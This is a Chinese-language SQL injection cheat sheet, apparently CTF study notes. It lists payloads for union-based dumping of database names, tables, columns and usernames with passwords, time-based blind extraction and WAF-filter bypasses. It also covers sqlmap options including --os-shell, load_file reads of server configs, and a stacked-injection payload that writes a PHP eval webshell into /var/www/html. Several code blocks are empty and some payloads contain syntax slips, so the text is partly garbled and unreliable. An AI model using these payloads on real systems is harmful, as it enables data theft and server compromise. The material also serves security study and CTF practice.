原理
在各种形式的用户输入(包括Web表单、cookies、Http头、输入参数等)中插入SQL代码,当后台服务器没有严格验证时,会将其直接解析执行。
1 |
|
当需要用到编码的时候,SQL语句识别hex编码,PHP解析器识别url编码。
SQL比较方式
- 数字与字符串比较:取字符串每一位,如果是字符,认为是0,如果是数字,用数字。如:’41abcd’ > 40 true; ‘a4bcd’=0 true
- 字符串与字符串比较:从两个字符串不同处开始分别以ascii码比较。如:a<b, abcd > abca,与strcmp类似
终止符号
- SQLServer/Oracle:
-- 单行注释 /* */ 多行注释
- MySQL:
-- 单行注释 #(%23) 单行注释 /* */ 多行注释 /*! MYSQL专属 */
带回显注入
猜字段数:1' order by n%23
(n从1开始试,表示按第几个字段排序,报错表示没有那个字段)
爆破MySQL
原理:MySQL所有数据库/表/列信息保存在information_schema.schemata/tables/columns,通过union select爆破需要的信息。
利用MySQL函数获取敏感信息
- database() – 查当前库
- version() – 查MySQL版本
- current_user() – 当前用户
- @@version_compile_os – 当前操作系统
- @@basedir – Mysql安装路径,用于udf提权
数据库用户为root(不常见)
寻找网站路径
- 报错显示(需要打开Apache的display_errors设置)
- 搜索引擎(site:target.com warning)
- 遗留文件(inurl:phpinfo.php)
- 漏洞报错(搜索:phpcms 爆路径,利用漏洞)
- 读取配置文件(apache/conf/httpd.conf 或vhosts.conf ),详见:常见的load_file()读取的敏感信息
- 社工+爆破
进行文件读写
1 |
|
注意:
- Windows下文件分隔符只能采用
/或\\
,采用\
会报错 - 可以采用hex或者url编码,如果采用编码就不需要加单引号,如:
load_file(0x643a2f616161)
数据库用户非root
- 爆库名:
union select 1,group_concat(schema_name) from information_schema.schemata
(对应sqlmap –dbs)或者直接–current-db - 爆表名:
group_concat(table_name) from information_schema.tables where table_schema=database() #table_schema=0x64767761 (schema字符串需要用单引号,否则转为hex方式)
(对应sqlmap -D schema –tables) - 爆列名:
group_concat(column_name) from information_schema.columns where table_name=0x7573657273 (table name转hex)
(对应sqlmap -D schema -T table –columns) - 查数据:
group_concat(username,0x3b,password,0x3b) from users
(对应sqlmap -D schema -T table -C table.column –dump)
sqlmap命令常用参数
sqlmap -u "url" [-r post.txt] -p "id,user-anget" --output-dir=./output -v 3 --cookie=? --os-shell --technique=E --ignore-redirects --start=100 --stop=200 --force-ssl
--string="hello"
插入的查询语句的boolean值=1时,页面中出现的字符串--not-string="hello"
我们插入的查询语句的boolean值=0时,页面中出现的字符串--code=302
provide a HTTP status code to match Trueselect load_file('/etc/apache2/sites-available/000-default.conf')
,os-shell需要知道网站根目录,如果为apache站点,则读取相应的配置文件
爆破Access
Access没有专门的注释符号,但是可以用空字符NULL(%00)
代替
原理:暴力猜解
直接通过常用名依次猜表名、列名:
1 |
|
通过len()
和asc(mid(str, start, length))
猜数据:
1 |
|
Access偏移注入(知道表名,不知道列名,原理:通过select *返回所有字段,通过inner join多次返回)
1 |
|
无回显注入
原理:sleep(if(x=y), n, 0)
如果查询结果符合,则延时n秒返回,否则即时返回。
- 全匹配递加一得到长度:
sleep(if((select length(hex(group_concat('password'))) from table)=1), 5, 0))
- 通过
substring
取每一位字符,通过ascii
转为ascii码,二分法[0,127]加快比较过程,得到每个字符,如果是中文,则还需要用hex,然后再二分法:sleep(if(ascii(substring((select hex(group_concat('password')) from table), 0, 1)) < 63), 2, 0)
报错注入
1 |
|
常用函数
sleep()
,BENCHMARK(100000,SHA1('true'))
,通过较大的表做笛卡尔积select count(*) from information_schema.tables A,information_schema.tables B, information_schema.tables C
- 条件语句
CASE WHEN 1=1 THEN true else false ENd
,IF(1=1, true, false)
,IFNULL()
,NULLIF()
- 逐字符遍历
mid(str,pos,len)
,substr
,substring
,mid(('abc')from(2)for(1))='b'
- 对比语句
regexp 'a'
,ascii()>'a'
绕过WAF
- 过滤引号
1 |
|
-
过滤空格:
%0a %a0 /**/
-
过滤or:
||
-
过滤=:
/**/REGEXP/**/"^flag";
1 |
|
布尔型注入常用方法(sample:ezsql,write_a_shell-安恒月赛-2018-11)
1 |
|
字符串黑名单
1 |
|
过滤逻辑运算符(sample:好黑的黑名单-安恒月赛-2018-11)
1 |
|
is_array foreach stristr数组各个元素过滤
1 |
|
后台PHP使用mysqli_multi_query()导致多语句执行,堆叠注入
检测:单引号后加入分号(;),若无法多语句执行,返回页面按理说应该是500,如果可以看到正常回显,说明可能存在堆叠注入。
使用prepare/execute(sample:write_a_shell-安恒月赛-2018-11)
set @s=select '<?php eval($_POST[x];?>' into outfile '/var/www/html/favicon/1.php';
prepare a from @s;
execute a;
结合16进制(sample:emo_mvc-SWPUCTF2019)
1 |
|
Order by后的注入
知道一个字段名
1 |
|
不知道字段名
1 |
|